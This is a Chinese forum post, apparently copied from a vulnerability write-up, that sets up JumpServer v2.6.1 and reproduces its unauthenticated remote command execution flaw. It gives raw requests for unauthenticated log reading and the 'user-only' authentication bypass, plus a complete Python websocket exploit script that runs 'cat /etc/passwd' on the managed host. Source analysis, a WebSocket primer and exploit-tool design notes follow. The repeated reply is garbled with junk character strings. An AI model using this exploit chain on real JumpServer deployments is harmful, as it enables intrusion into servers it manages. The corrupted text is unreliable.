找回密码
 注册
查看: 448|回复: 1

jumpserver安装使用,远程应用工具

[复制链接]

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
发表于 2023-3-7 15:00:04 | 显示全部楼层 |阅读模式
下载安装包
# git clone https://github.com/jumpserver/installer.git# cd installer?
国内docker源加速安装
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn# ./jmsctl.sh install
升级到指定版本
# ./jmsctl.sh upgrade v2.6.1
启动服务
#?./jmsctl.sh start#?./jmsctl.sh restart
环境配置
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
1.添加管理用户。
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
2.“资产列表”中添加资产
测试资产可连接性,保证资产存活
3.创建系统用户
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
配置“登录方式”为自动登录
4.创建资产授权
5.使用“Web终端”连接资产
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。
Web终端以root用户名登录机器。
若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
"自动登录"则可调用系统预留密码直接连接。
0x02漏洞利用日志文件读取
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
ws://192.168.18.182:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0fsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911认证绕过+获取token
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1Host: 192.168.18.182:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7DUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 133user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
远程命令执行
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
借助脚本进行websocket通信
import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"# 向服务器端发送认证后的消息async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")# 客户端主逻辑async def main_logic(cmd):    print("###start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("#######1########")        print("init ws")        print("#######2########")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})        await send_msg(websocket,inittext)        print("########3#######")        print("exec cmd: ls")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(20):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('###finish')if __name__ == '__main__':    host = "http://192.168.18.182:8080"    cmd="cat /etc/passwd"    if host[-1]=='/':        host=host[:-1]    print(host)    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}    print("##################")    print("get token url:%s" % (host + url,))    print("##################")    res = requests.post(host + url, json=data)    token = res.json()["token"]    print("token:%s", (token,))    print("##################")    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token    print("target ws:%s" % (target,))    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
成功执行 "cat /etc/passwd" 命令
利用条件
1.web终端登录方式为免密自动连接。
若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
开启自动登录和自动推送。
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
jumpserver通常的配置都是自动登录的,这一条件容易满足。
2.系统用户在web终端与目标资产建立过连接。
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
3.系统日志路径已知
系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
攻击流程回顾
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件
2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
0x03漏洞分析日志文件读取
读取日志文件的接口为ws/ops/tasks/log/
分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
self.handle_task(task_id)
-->self.read_log_file(self,task_id)
-->self.wait_util_log_path_exist(task_id)
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
绕过身份验证获取token
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
/api/v1/authentication/connection-token//api/v1/users/connection-token/
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts
websocket建立TTY终端会话
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现
只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
/koko/ws/terminal/
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
进行websocket通信
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
注意到 /koko/ws/token/ 接口却是无此类限制的。
/koko/ws/token/
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。
本次通信则是仅携带有效token,从而获取该用户所有身份信息。
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}
而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
补丁分析
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。
0x04关于websocket
WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
WebSocket特点:
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。
2.可以发送文本,也可以发送二进制数据。
3.没有同源限制,客户端可以与任意服务器通信。
4.协议标识符是ws(如果加密,则为wss)
WebSocket通信
WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
建立连接
客户端请求报文:
GET / HTTP/1.1Upgrade: websocketConnection: UpgradeHost: example.comOrigin: http://example.comSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==Sec-WebSocket-Version: 13
Connection、Upgrade字段声明需要切换协议为websocket% _9 e# A% y2 B. C" c+ V1 a
Sec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
- M7 M7 i4 s2 M, O- w  `& Y5 xSec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
服务端的响应报文:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=Sec-WebSocket-Protocol: chat
Upgrade消息头通知客户端确认切换协议来完成这个请求;
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
Sec-WebSocket-Protocol则是表示最终使用的协议。
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。
进行通信
服务端接收到客户端发来的Websocket报文需要进行解析。
数据包格式
Mask位表示是否要对数据载荷进行掩码异或操作。
Payload length表示数据载荷的长度。
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
Payload Data为载荷数据。
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
心跳
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
发送方->接收方:ping
接收方->发送方:pong
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
关闭连接
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
Web Terminal实现
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
实现思路:
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
8 q4 }3 N( p* l6 k0 t' g2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel. u* `* D. p+ t! I+ K5 g( k
3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
8 N7 l& }' m0 s0 n$ G) H" U4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。6 k9 A! C! ~+ o
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1Host: 192.168.18.182:8080Connection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Upgrade: websocketOrigin: http://192.168.18.182:8080Sec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: JMS-KOKO
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。
HTTP/1.1 101 Switching ProtocolsServer: nginxDate: Mon, 01 Feb 2021 17:29:47 GMTConnection: upgradeUpgrade: websocketSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=Sec-WebSocket-Protocol: JMS-KOKO
注意到使用web终端功能时,系统主要发起两个请求,分别是
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。
Websocket认证
即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
传统的基于cookie的方式
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
基于Token的方式
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。
认证方式对比
传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。
0x05利用工具编写思路
1.读取日志
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。
2.筛选可用资产
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
3.执行命令
在可用资产列表中选择目标进行攻击,执行指定命令。
总结
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。2 h& j0 G4 {/ w& H
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
( a: Q3 j. r  [4 Y5 Q- a$ t3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。

4 \4 Z8 T/ d- F. T( a' `4 Y& S

1

主题

0

回帖

12

积分

管理员

积分
12
QQ
 楼主| 发表于 2023-3-7 15:00:05 | 显示全部楼层
下载安装包2 o. `0 W& K& R4 w1 p) d' ^" `
+ Q/ V$ o& |3 \) n- s1 T! H
# git clone https://github.com/jumpserver/installer.git* `% Y. W) M7 D* `7 j6 k
# cd installer?
; q/ L1 |) l, ?+ \国内docker源加速安装
/ k; t5 \, T) C* g
3 u! ^: c8 T' q7 i( i4 {  [8 W# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
, w& M- m( x# K- h# ./jmsctl.sh install
8 j4 e; R  _7 H* E! U升级到指定版本1 O9 j' X9 j2 Z3 z8 F
0 w- H8 r4 W# \- X4 y/ d% d: I! {- \
# ./jmsctl.sh upgrade v2.6.11 x  C( c$ Y; k9 l3 X/ D, `
启动服务4 I$ I8 O& R: O) h$ J% ^
. P# K+ n% u9 P3 n9 _4 L- w
#?./jmsctl.sh start
9 F" a5 R; M3 p- Y4 Q& a6 C0 W#?./jmsctl.sh restart, G. t  C1 f$ G1 A' n
图片
* `- A, C8 n. l" r( d( n2 o4 G! E" E, ~
环境配置3 n0 Q& e' u2 @/ k
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
4 u! F& N, u0 T2 V2 ~& l* e9 m) O$ ~$ \2 A
图片- |9 c% O/ V7 {* Q

9 w5 ^: H1 {: ~, e1.添加管理用户。; q% U$ j6 ~$ x
7 W0 C& L) o( L% \$ r
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
/ W+ `0 X9 W; L7 S9 R+ N3 J5 v! }/ _# p- ~. D) }6 ?
图片4 q$ B: A( Z  c
( U! D5 C* R0 B& U
2.“资产列表”中添加资产
! q. }/ j+ w6 N0 B
) r: L6 I, z$ \# O: V图片) ?9 t: W3 o! T( A4 n1 |( x

6 N: y9 J' o" t. V) G测试资产可连接性,保证资产存活
4 l! _; \  v9 @2 E/ w
( }' w- a& [2 O" l/ ^! x# k# i图片
- N' y1 M) o4 @1 j3 N: n8 O8 i. ^% y7 w. P+ _3 i: k8 n
图片" g- S% v  N6 C, r

% S2 [/ k4 g- Q, j3.创建系统用户! k9 ]% z% q+ G: O0 w1 ?" E

8 I" b7 u- S4 o" K' H系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
$ S* ^, f0 K$ w7 K' {/ h( Z5 T5 v) K  B$ G- T6 S
图片
! j" i6 Z  _, y/ s% q9 ~4 J2 e* }- e0 t8 q5 x( Z
配置“登录方式”为自动登录( ?! X+ @6 W8 g) V1 W# V0 V
! S; a; @2 _% z  Y* i6 A0 u
图片
$ x9 ~1 L1 k- L' Y
: ?' A& t2 G, \2 Y0 L6 ?1 ~4.创建资产授权
. ~# a5 M  k- d% n1 ^5 e8 v. k5 f+ C. L2 x" S# K
图片( |1 s, ]$ R* F& Q& l

  ]. m3 B( q) C9 E! k* U5.使用“Web终端”连接资产
  L2 r) v* @' e9 Y. J
# [! [! y% p) V# j为保证漏洞复现顺利进行,需要在Web终端中连接某资产。4 j! `: C1 \2 p7 D* w9 J) Q

- [5 ?2 L3 H7 W7 C) {; k  z图片
; O. s  d+ u+ f: x  G& @' v0 N2 S$ E& Z; G9 R8 {  ^
Web终端以root用户名登录机器。3 b+ b  S5 M+ U# |% ]( n8 v

* s/ O* ^/ F! f2 A" Y6 {若配置的登录模式为“手动登录”,所以需要输入密码进行连接。: R- f+ I& w( A. F& K
, \8 J( F) g4 G6 ?
图片
, c5 _6 F, J  b' F! c. J, J
) E& I; p% }- ^' ~% z"自动登录"则可调用系统预留密码直接连接。
' ?6 {) {- c9 L; l% ?' z
( R7 F! v6 @- l6 F图片
+ I. s! ~" L! I) A& {3 l5 Z. T1 O6 ?. Q8 R# Z- U
0x02漏洞利用
3 \! J0 R; W$ p" t0 Z/ a: _日志文件读取" F5 `0 ?$ j' K  F- k! k: T
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
7 O. r$ U+ B& L$ v& x" N
9 e1 Y( H# W- i& ~  s4 x$ j默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。5 S, I$ Q0 F; K  }

/ m- d# X: y, z3 d4 u; R5 q6 G图片  b0 H) @% a1 k7 A' W  D- |6 F
1 T3 L2 [9 f$ v5 b% E8 q* {
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
$ p! e4 b9 S5 j* E
0 u, L0 d; E+ r* Z利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。6 }) A' N" Y/ H

1 u* L0 {: d, p& z* W+ L( h4 x# \ws://192.168.18.182:8080/ws/ops/tasks/log/
  I2 C# l2 L& q, f) G{"task":"/opt/jumpserver/logs/gunicorn"}. Y! _  m, x7 t) F" ]
图片, R9 U( K2 f. V1 h5 r6 F& V  T! n

, E+ A8 C2 B" p- g: w0 O在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。' a" v* M6 r9 z& I- V! I( ^7 @  r: z
* G8 |/ f7 V+ o; R6 G3 K
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f
2 K9 N% T+ {3 _6 S5 v) @6 q; Csystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
' x. E" [  y. }/ D9 Vuser_id=f26371c9-18c3-4c4e-979f-95d34ffdb9114 R# n: Q7 `6 V  h+ a
认证绕过+获取token! @7 m4 R, B2 D3 J/ K
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
5 E. o, ?/ v7 J8 G
4 G1 E! x! W1 i两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。3 r: |* b  M$ M3 D$ O5 L& f

8 U6 _8 \- @: i, \图片
' ?) I4 m9 t+ u- S9 |2 d
# {* u+ e- K6 A上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。! S" t9 H' v6 T9 D* r& s* D
1 }9 Y) u$ B/ |
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1+ l2 R: ~, p4 r1 E8 e* z
Host: 192.168.18.182:8080
. M, g8 q# g* _0 f1 S6 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0/ ^5 W; n* @) o% e$ {# t: ?
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.85 T( B! P9 P9 q5 u
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2; J  c2 P7 W: w! @6 B2 Y+ W( v
Accept-Encoding: gzip, deflate) l( p" g6 r. x
Connection: close' R: h; E  D( r7 Z' V! |
Cookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D: f; b9 C3 l4 |0 ]: @
Upgrade-Insecure-Requests: 1! L) k+ c* W- k
Content-Type: application/x-www-form-urlencoded$ V  z( |7 f& z& `
Content-Length: 133
! ]4 l& h- `: G! h  Quser=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d739 M1 j4 E5 r* q+ N
图片
$ i( \: d) A! ~" S2 {+ P/ Y
2 e6 {. a5 c3 n+ K上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
8 ^+ J, O1 l; _( i8 {( n/ o5 A$ U9 H! Q$ F, I. f1 \0 f( F7 b
图片
( c/ q! A+ q7 D5 M. P0 ~; D/ L9 i7 P2 W, m0 Y
远程命令执行0 E0 }* Q1 `+ D
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
: x5 P* K2 x0 e2 h. @; A$ f5 I8 F' h- L/ U: x. Q( A  Z  A
图片
